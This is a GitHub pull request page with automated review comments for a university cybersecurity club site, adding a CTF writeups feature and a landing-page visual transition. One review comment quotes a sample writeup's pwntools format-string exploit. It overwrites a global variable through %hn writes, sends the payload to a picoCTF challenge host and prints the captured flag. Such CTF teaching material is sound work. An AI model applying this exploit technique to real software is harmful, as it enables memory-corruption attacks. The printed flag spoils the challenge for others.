feat: writeups feature + landing page matrix transition#18
feat: writeups feature + landing page matrix transition#18bparchinski wants to merge 3 commits intoHackUCF:mainfrom
Conversation
Includes MDX-powered writeup pages with categories, tags, difficulty badges, table of contents, prev/next navigation, and full-text search. Cleaned up duplicated difficultyColours constants and unused imports. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Matrix wall now dissolves smoothly into the black background below via a multi-stop gradient overlay instead of a hard cut. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
- format writeup components, routes, lib, types - fix a11y: single h1 on landing, aria-labels on search/TOC/nav - add debounce cleanup in WriteupSearch
There was a problem hiding this comment.
Pull request overview
This PR implements a comprehensive CTF writeups feature with MDX content support, alongside landing page improvements and accessibility fixes. The writeups system includes filtering by category/tag, search functionality, table of contents navigation, and SEO optimization. The changes are well-structured and follow established codebase patterns.
Changes:
- Full writeups feature with MDX support, search/filter capabilities, and SEO meta tags across all routes
- Landing page visual enhancement with a CSS gradient transition from the matrix rain canvas to content section
- Accessibility improvements: single h1 on landing page, aria-labels for navigation and search components
Reviewed changes
Copilot reviewed 23 out of 26 changed files in this pull request and generated 7 comments.
Show a summary per file
| File | Description |
|---|---|
| vite.config.ts | Added MDX plugin configuration with remark/rehype plugins for syntax highlighting and frontmatter |
| tailwind.config.cjs | Extended content paths to include MDX files |
| package.json | Added MDX and syntax highlighting dependencies |
| app/types/mdx.d.ts | TypeScript declarations for MDX module imports |
| app/lib/writeups.ts | Core library for writeup data fetching, filtering, and search functionality |
| app/routes/writeups._index.tsx | Main writeups listing page with search and filter UI |
| app/routes/writeups.$slug.tsx | Individual writeup page with TOC sidebar and prev/next navigation |
| app/routes/writeups.category.$category.tsx | Category filter route |
| app/routes/writeups.tag.$tag.tsx | Tag filter route |
| app/routes/sitemap[.]xml.tsx | Extended sitemap to include writeup pages |
| app/routes/_index.tsx | Landing page h1 fix and gradient overlay addition |
| app/components/writeups/* | Complete suite of writeup-related components (card, filters, search, TOC, nav, metadata, content) |
| app/components/ui/badge.tsx | New badge component for tags and categories |
| app/components/header.tsx | Updated writeups link from external to internal route |
| app/globals.css | Syntax highlighting styles for code blocks |
| app/content/writeups/*.mdx | Three sample writeups covering CTF binary exploitation challenges |
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
| export function getWriteupsByCategory(category: string): WriteupMeta[] { | ||
| return getAllWriteups().filter((w) => | ||
| w.categories.some((c) => c.toLowerCase() === category.toLowerCase()), | ||
| ); | ||
| } | ||
|
|
||
| export function getWriteupsByTag(tag: string): WriteupMeta[] { | ||
| return getAllWriteups().filter((w) => | ||
| w.tags.some((t) => t.toLowerCase() === tag.toLowerCase()), | ||
| ); | ||
| } | ||
|
|
||
| export function getAllCategories(): string[] { | ||
| const cats = new Set<string>(); | ||
| for (const w of getAllWriteups()) { | ||
| for (const c of w.categories) cats.add(c); | ||
| } | ||
| return Array.from(cats).sort(); | ||
| } | ||
|
|
||
| export function getAllTags(): string[] { | ||
| const tags = new Set<string>(); | ||
| for (const w of getAllWriteups()) { | ||
| for (const t of w.tags) tags.add(t); | ||
| } | ||
| return Array.from(tags).sort(); |
There was a problem hiding this comment.
The functions getWriteupsByCategory, getWriteupsByTag, getAllCategories, and getAllTags all call getAllWriteups() which re-computes and re-sorts the full list of writeups every time. Consider memoizing or caching getAllWriteups() if these functions are called multiple times during a single page render, especially as the number of writeups grows. This could impact performance.
| const allRoutes = [...routes, ...writeupRoutes]; | ||
|
|
There was a problem hiding this comment.
The sitemap includes individual writeup pages but doesn't include the category and tag filter routes (e.g., /writeups/category/CTF, /writeups/tag/Binary%20Exploitation). Consider whether these should be included for better SEO coverage, as they are valid, indexable pages.
| const allRoutes = [...routes, ...writeupRoutes]; | |
| const categories = Array.from( | |
| new Set( | |
| writeups | |
| .map((w) => w.category) | |
| .filter((category): category is string => typeof category === "string" && category.length > 0), | |
| ), | |
| ); | |
| const tags = Array.from( | |
| new Set( | |
| writeups | |
| .flatMap((w) => (Array.isArray(w.tags) ? w.tags : [])) | |
| .filter((tag): tag is string => typeof tag === "string" && tag.length > 0), | |
| ), | |
| ); | |
| const categoryRoutes = categories.map( | |
| (category) => `writeups/category/${encodeURIComponent(category)}`, | |
| ); | |
| const tagRoutes = tags.map( | |
| (tag) => `writeups/tag/${encodeURIComponent(tag)}`, | |
| ); | |
| const allRoutes = [...routes, ...writeupRoutes, ...categoryRoutes, ...tagRoutes]; |
| ```python | ||
| from pwn import* | ||
|
|
||
| ''' | ||
| second 2 bytes first 2 bytes | ||
| [ 67 61 ] [6c 66] | ||
| ok so we split it into 2 sections of two bytes each. | ||
| Now we're going to show the representation of each of these numbers in decimal since that's how we write using %n. | ||
| 6761 = 26465 | ||
| 6c66 = 27750 | ||
| ''' | ||
|
|
||
| # 27750 - 26465 = 1285 bytes left to write | ||
|
|
||
| address_of_sus_global_var = 0x404060 | ||
| little_endian_second_two_bytes = p64( address_of_sus_global_var + 2 ) | ||
| little_endian_base_first_two_bytes = p64( address_of_sus_global_var ) | ||
|
|
||
| # (14) (15) (16) (17) (18) (19) | ||
| payload = b"%026465x" + b"%0018$hn" + b"%001285x" + b"%0019$hn" + little_endian_second_two_bytes + little_endian_base_first_two_bytes | ||
|
|
||
| # setup the connection | ||
| HOST = "rhea.picoctf.net" | ||
| PORT = 52318 | ||
| pipe = remote( HOST, PORT ) | ||
| pipe.sendline(payload) | ||
| pipe.interactive() | ||
|
|
||
| # FLAG: picoCTF{f0rm47_57r?_f0rm47_m3m_5161a699} | ||
|
|
||
|
|
||
| ''' | ||
|
|
||
| int sus = 0x21737573; | ||
|
|
||
| int main() { | ||
| char buf[1024]; | ||
| char flag[64]; | ||
|
|
||
|
|
||
| - The sus variable is stored in smt known as the data segment because it is not in the main() function, | ||
| Anthony said that we need to look at PIE (since it is not enabled this will help us). | ||
|
|
||
| ******** | ||
| - Moreover, our data is stored in the stack, we need to use %n, but how will | ||
| we write to sus if out input is in the stack? | ||
| - apparantely %n does not just write to stack but a specific | ||
| place in memory relatively to characters printed or smt. | ||
| so global variables are stored in a fix position if PIE is not enabled, that's a good start. | ||
|
|
||
|
|
||
| ''' | ||
| ``` |
There was a problem hiding this comment.
The code block is labeled as Python but contains a comment section with C code. This is misleading and inconsistent. The Python code should be in its own code block, and if C code needs to be shown, it should be in a separate C code block.
| - The sus variable is stored in smt known as the data segment because it is not in the main() function, | ||
| Anthony said that we need to look at PIE (since it is not enabled this will help us). | ||
|
|
||
| ******** | ||
| - Moreover, our data is stored in the stack, we need to use %n, but how will | ||
| we write to sus if out input is in the stack? | ||
| - apparantely %n does not just write to stack but a specific | ||
| place in memory relatively to characters printed or smt. | ||
| so global variables are stored in a fix position if PIE is not enabled, that's a good start. |
There was a problem hiding this comment.
Several typos found in comments: "smt" should be "something", "out input" should be "our input", "apparantely" should be "apparently", and "fix position" should be "fixed position".
| - The sus variable is stored in smt known as the data segment because it is not in the main() function, | |
| Anthony said that we need to look at PIE (since it is not enabled this will help us). | |
| ******** | |
| - Moreover, our data is stored in the stack, we need to use %n, but how will | |
| we write to sus if out input is in the stack? | |
| - apparantely %n does not just write to stack but a specific | |
| place in memory relatively to characters printed or smt. | |
| so global variables are stored in a fix position if PIE is not enabled, that's a good start. | |
| - The sus variable is stored in something known as the data segment because it is not in the main() function, | |
| Anthony said that we need to look at PIE (since it is not enabled this will help us). | |
| ******** | |
| - Moreover, our data is stored in the stack, we need to use %n, but how will | |
| we write to sus if our input is in the stack? | |
| - apparently %n does not just write to stack but a specific | |
| place in memory relatively to characters printed or something. | |
| so global variables are stored in a fixed position if PIE is not enabled, that's a good start. |
| The code for your convenience: | ||
|
|
||
| ```python | ||
| from pwn import* |
There was a problem hiding this comment.
Spacing issue after import statement: from pwn import* should be from pwn import * with a space before the asterisk.
| from pwn import* | |
| from pwn import * |
| rehypePlugins: [ | ||
| rehypeSlug, | ||
| [rehypeAutolinkHeadings, { behavior: "wrap" }], | ||
| [rehypePrettyCode, { theme: "one-dark-pro" }] as any, |
There was a problem hiding this comment.
The as any type assertion is a code smell that bypasses TypeScript's type checking. Consider using proper typing or documenting why this assertion is necessary. If this is due to a known type incompatibility with the plugin types, add a comment explaining it.
|
|
||
| export function getReadingTime(content: string): number { | ||
| const words = content.split(/\s+/).length; | ||
| return Math.max(1, Math.ceil(words / 200)); | ||
| } |
There was a problem hiding this comment.
The getReadingTime function is exported but never used anywhere in the codebase. Consider removing it to reduce code clutter, or implement it in the writeup display components if reading time estimation is a desired feature.
| export function getReadingTime(content: string): number { | |
| const words = content.split(/\s+/).length; | |
| return Math.max(1, Math.ceil(words / 200)); | |
| } |
Changes
Writeups Feature
/writeups,/writeups/:slug,/writeups/category/:category,/writeups/tag/:tag/writeupsLanding Page Transition
pointer-events-noneso interactions aren't blockedAccessibility Fixes
<h1>on landing page (was duplicate)aria-labeladded to search input, table of contents nav, and prev/next navCode Quality
difficultyColourstoapp/lib/writeups.ts(was duplicated)